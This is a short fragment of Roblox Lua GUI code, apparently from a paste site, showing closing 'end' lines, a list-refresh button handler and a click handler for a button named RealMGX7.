- end
- end
- end
- updatePickList()
- newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
- updatePickList()
- end)
- end)
- end
- end
- end
- end
- end
- RealMGX7.MouseButton1Click:connect(onRealMGX7Click)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement